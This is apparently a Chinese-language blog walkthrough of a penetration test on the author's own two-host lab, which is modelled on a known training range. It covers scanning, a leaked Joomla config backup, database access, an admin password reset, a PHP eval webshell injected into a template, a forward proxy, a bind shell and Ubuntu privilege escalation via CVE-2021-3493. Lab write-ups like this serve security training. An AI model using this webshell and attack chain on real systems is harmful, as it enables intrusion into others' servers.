对自建靶场的一次测试
本文最后更新于:2022-11-10 11:11
前言
这个靶场环境我是照着红日靶场3的环境搭建的,我搭建这个靶场是因为有需要用到对中间 Ubuntu 的测试,所以后面的 Windows 主机,emm,就没有放进环境。也就是说这个靶场只有两台主机:
- 反向代理服务器:Centos
- web主机:Ubuntu
渗透的思路跟红日靶场3大致
是一样的,我的目标是进入 Ubuntu 系统并提权,开始。
信息收集
首先进行信息收集
,使用nmap
对 192.168.221.133
主机进行端口扫描。
1 |
|
发下目标主机开放了22、80、3306
这几个端口,访问80网站看一下。
可以看到是使用小皮面板
搭建的网站,不过这个不是重点,通过Wappalyzer
插件我们可以看到,网站使用了Joomla
内容管理系统,但是该 cms 的网站访问路径咱们还不知道。
使用dirsearch
对网站进行目录扫描,发现网站目录下存在drupal、Joomla
等网站目录。(Joomla 是我在db/dicc.txt
中自己加的,因为 dirsearch 默认字典中只有小写的joomla
)
1 |
|
红日靶场3 web 环境使用的是Joomla,我们也用这个,访问http://192.168.221.133/Joomla
,再次使用dirsearch
进行目录扫描,原靶场环境只有一个 joomla,而我在靶机中继承了好几个 cms,所以才会多出上一步扫描。
1 |
|
在扫描结果中我们可以看到名为configuration.php~
的文件,该文件可能为Joomla
配置文件的备份,在配置文件中会有 joomla 数据库链接的用户名和密码等敏感内容。访问http://192.168.221.133/Joomla/configuration.php~
:
获取 webshell
在知道数据库的用户名密码后,我们如果能登录成功,就可以尝试修改后台用户的密码,再登录后台系统查找 web 漏洞,为获取 webshell 做准备。结合我们端口扫描时发现网站对外开放的3306
端口,尝试登录主机数据库。
1 |
|
成功登录主机 MySQL,数据库中存在joomla
数据库,通过如下命令更新 web 后台管理员密码:
1 |
|
更新完成后,访问http://192.168.221.133/Joomla/administrator
,使用admin/secret
登录后台。登录后,选择标题栏中的Extensions->Templages->Templates
,访问模板界面。在模板界面中,可以对模板中的 PHP 代码进行编辑,编辑后的文件可以在未登录的情况下访问,这就导致写入 webshell 成为可能。
选择Beez3 Details and Files
,选中index.php
,在代码中,写入 webshell:@eval($_POST[cmd]);
。
写入后,点击左上角的Save
按钮保存。之后使用蚁剑进行连接,连接路径:http://192.168.221.133/Joomla/templates/beez3/index.php
使用蚁剑的虚拟终端
执行命令,发现我们的 IP 地址只有一个,而且是内网地址,说明目标使用了反向代理技术。并且我们的权限很低,为www
用户。
提权
我们的目的是将 Ubuntu 进行提权,方便之后的案例测试。
在获取 webshell 之后,我们需要获取一个稳定的 shell 用于提权,而 webshell 使用的是瞬时协议,不能用于提权。而且,我们虽然获取到了 webshell,但是并不能使用反弹 shell 的方式获取一个稳定 shell,因为 Ubuntu 这台主机是不出网的,只能访问93.0/24
段网络。也就是说我们不能使用反向代理
,只能使用正向代理
。
这里我使用的代理工具是pystinger(毒刺)
。
将工具 webshell 目录中的porxy.php
使用蚁剑上传到服务端中,访问该文件:http://192.168.221.133/Joomla/templates/beez3/proxy.php
,如果页面显示为UTF-8
,说明 PHP 文件解析正常。
之后还需要将服务端stinger_server
上传到服务端中,添加执行权限后执行。
执行完成之后,将stinger_client
拷贝到攻击端,在客户端中使用如下命令与服务端建立sock4
代理,有以下输出表示成功。
1 |
|
使用root
权限,修改攻击端 kali 中的/etc/proxychains4.conf
配置文件。将代理地址修改为60000
。
修改完成后,使用proxychains4 nc 192.168.93.129 80
进行测试,如果响应如下,说明代理正常。
socks 连接已经建立,接下来我们需要获取 shell。我们建立的是正向代理,所以只能 Ubuntu 开启监听,我们去连接它。不要在蚁剑中使用 nc,在 Ubuntu 中存在python
环境,我们可以上传 py 脚本用来开启监听端口。
1 |
|
使用python2
版本执行,执行后,会话会处于阻塞状态,在攻击端,使用如下命令进行连接,连接成功后便可以执行命令。
1 |
|
使用python3 -c 'import pty; pty.spawn("/bin/bash")'
命令,获得一个略微好使一点的 shell。现在我们可以进行提权了。Ubuntu 的提权漏洞还是挺多的,我使用的是CVE-2021-3493
。将提权文件通过蚁剑上传到目标机中,编译并执行。
至此我们已经提权成功了。